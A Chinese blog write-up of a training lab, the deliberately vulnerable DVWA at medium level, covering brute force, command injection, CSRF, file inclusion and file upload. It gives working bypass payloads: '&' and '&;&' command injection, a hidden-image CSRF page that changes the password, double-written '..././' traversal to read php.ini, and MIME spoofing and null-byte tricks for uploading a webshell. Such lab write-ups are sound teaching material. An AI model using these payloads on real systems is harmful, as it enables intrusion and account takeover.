dvwa medium级别前五漏洞测试

brute force(暴力破解)

发现medium级别直接SQL注入,不行了,
看源码,相比于low级别,medium级别多了这样几行代码:

brute medium source

$user = ((isset($GLOBALS["___mysqli_ston"]) &&is_object($GLOBALS["___mysqli_ston"])) ?  
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) :   
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!   
This code does not work.", E_USER_ERROR)) ? "" : ""));

$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?  
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) :  
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!  
This code does not work.", E_USER_ERROR)) ? "" : ""));

函数解读

$GLOBALS[“___mysqli_ston”]这只是一个自定义全局变量可以不用在意

isset
(PHP 4, PHP 5, PHP 7)
isset — 检测变量是否已设置并且非 NULL
说明
bool isset ( mixed var[,mixed … ] )
检测变量是否设置,并且不是 NULL。

is_object
(PHP 4, PHP 5, PHP 7)
is_object — 检测变量是否是一个对象
描述
bool is_object ( mixed $var )

mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
Warning

本扩展自 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL:选择 API 指南以及相关 FAQ 来获取更多信息。用以替代本函数的有:

mysqli_real_escape_string()
PDO::quote()

说明
string mysql_real_escape_string ( string unescapedstring[,resource link_identifier = NULL ] )

本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。

mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, , ‘, ” 和 \x1a.

为了安全起见,在像MySQL传送查询前,必须调用这个函数(除了少数例外情况)。

与low级别相比,多了检测函数,将一些特殊字符(x00, n, r,’ ,” ,x1a)做了转义,将其转义为\x00, \n, \r, , ‘, ” 和 \x1a,这样做能抵御一些SQL注入漏洞。

但是并没有防爆破机制。因此依然可以爆破求出密码,操作方法与low一致,懒得说了。

Command Injection(命令注入)

按照low级别的方法,输入192.168.118.1 && whoami企图注入试试。发现报错
mark
查看源码:
mark
发现相比于low级别的代码,增加了这样的几行:

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

Array 数组
PHP 中的数组实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。
定义数组 array()
可以用 array() 语言结构来新建一个数组。它接受任意数量用逗号分隔的 键(key) => 值(value)对。

  array(  key =>  value
 , ...
 )
  // 键(key)可是是一个整数 integer 或字符串 string
  // 值(value)可以是任意类型的值

最后一个数组单元之后的逗号可以省略。通常用于单行数组定义中,例如常用 array(1, 2) 而不是 array(1, 2, )。对多行数组定义通常保留最后一个逗号,这样要添加一个新单元时更方便。

自 5.4 起可以使用短数组定义语法,用 [] 替代 array()。

str_replace

str_replace — 子字符串替换

说明
mixed str_replace ( mixed search,mixed replace , mixed subject [, int &count ] )
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

array_keys

array_keys() 返回 input 数组中的数字或者字符串的键名。

如果指定了可选参数 search_value,则只返回该值的键名。否则 input 数组中的所有键名都会被返回。

可以看出来,其实,medium比low增加了过滤而且还是不完整的过滤,将&&和;替换为”(空字符)。那么我们可以想办法绕过这样的过滤。

如构造这样的语句:
192.168.118.1 & whoami(或net user等命令)
192.168.118.1 &;& whoami(或net user等命令)

mark

CSRF

查看源码:
mark
相比于low,增加了判断条件

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos — 查找字符串首次出现的位置(不区分大小写)

$_SERVER[ ‘HTTP_REFERER’ ]可以获取当前链接的上一个连接的来源地址,即链接到当前页面的前一页面的 URL 地址,可以做到防盗链作用,只有点击超链接即

<A href=...>

打开的页面才有HTTP_REFERER环境变量。

$_SERVER[ ‘SERVER_NAME’ ]取得主机名

Medium级别的代码检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.118.129),希望通过这种机制抵御CSRF攻击。

mark

在别的网页直接访问修改密码的链接,但是得到的http包是这样的:
mark
发现,没有’HTTP_REFERER’参数,这也证明了之前的内容,“只有点击超链接
打开的页面才有HTTP_REFERER环境变量。”,此外也证明了,仅仅在别的网页中构造url来利用CSRF漏洞是不行的。

利用方法:
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.118.129)

我们可以将攻击页面命名为192.168.118.129.html(页面被放置在攻击者的服务器里)就可以绕过了
源码如下:

<html>
    <img src="http://192.168.118.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
    <h1>404</h1>
    <h1>Not Found</h1> 
</html>

访问192.168.118.129.html,burpsuite拦截到了两个页面请求,一个是192.168.118.129.html,另一个是html中包含的跳转链接http://192.168.118.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
也就是改密链接,最终导致密码的修改。
mark
mark
mark
总结
我们构造了合理的页面,当用户点击的时候,会跳转到192.168.118.129.html,由于其会话cookie还在,执行HTML中的src=”“,在跳转修改密码的页面,而且由于html的命名,将判断条件绕过了,就能修改密码。

File Inclusion(文件包含)

mark
文件包含的代码很短,很容易看出来将一些字符过滤,如
“http://”, “https://”替代为”“(空) 去除远程包含
“../”, “..\”” 替代为”“(空) 去除本地包含

但是也是一样的问题:这样的过滤是可以绕过的,很简单的绕过方式就是双写绕过,比如构造

hthttp://tp://
或者
..././

函数将中间的http://删除,然后留下了http://,
将中间的../删除,然后又留下了../
双写绕过就是这么简单!!
那么,这个medium利用起来就很简单了。

本地包含
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././php.ini
或 
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././phpstudy/WWW/DVWA/php.ini

mark
读取配置文件成功。

而且,由于是过滤../, ..\ 只能去除了相对路径的文件包含,绝对路径依然可以利用!

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=C:\phpstudy\WWW\DVWA\php.ini
远程包含

很简单,双写利用,就OK了。
http://192.168.118.129/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.118.129/phpinfo.php
mark
按理说没错,但是一直失败。。。有大佬知道原因的望告知。。。

File Upload(文件上传)

查看代码:
mark

比较容易看出,代码将上传文件的类型限定为image/jpeg和image/png,上传文件的大小限定10000B以下。首先我们传一句话木马不用考虑大小的问题。

然后就是考虑,文件类型的问题。
我想到用php.png绕过,但是发现虽然上传成功,但是拿不到shell。
mark
mark

于是开始查资料,原来

(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
  test.php(0x00).jpg
  test.php%00.jpg
  路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
这种办法只在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。

发现可以通过上传时截取数据,利用burpsuite将一些请求行做修改:
mark
将文件格式这个值改为image/png
发现上传成功了。
mark
这样直接连菜刀就OK了。
mark

更多绕过姿势,会再总结。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值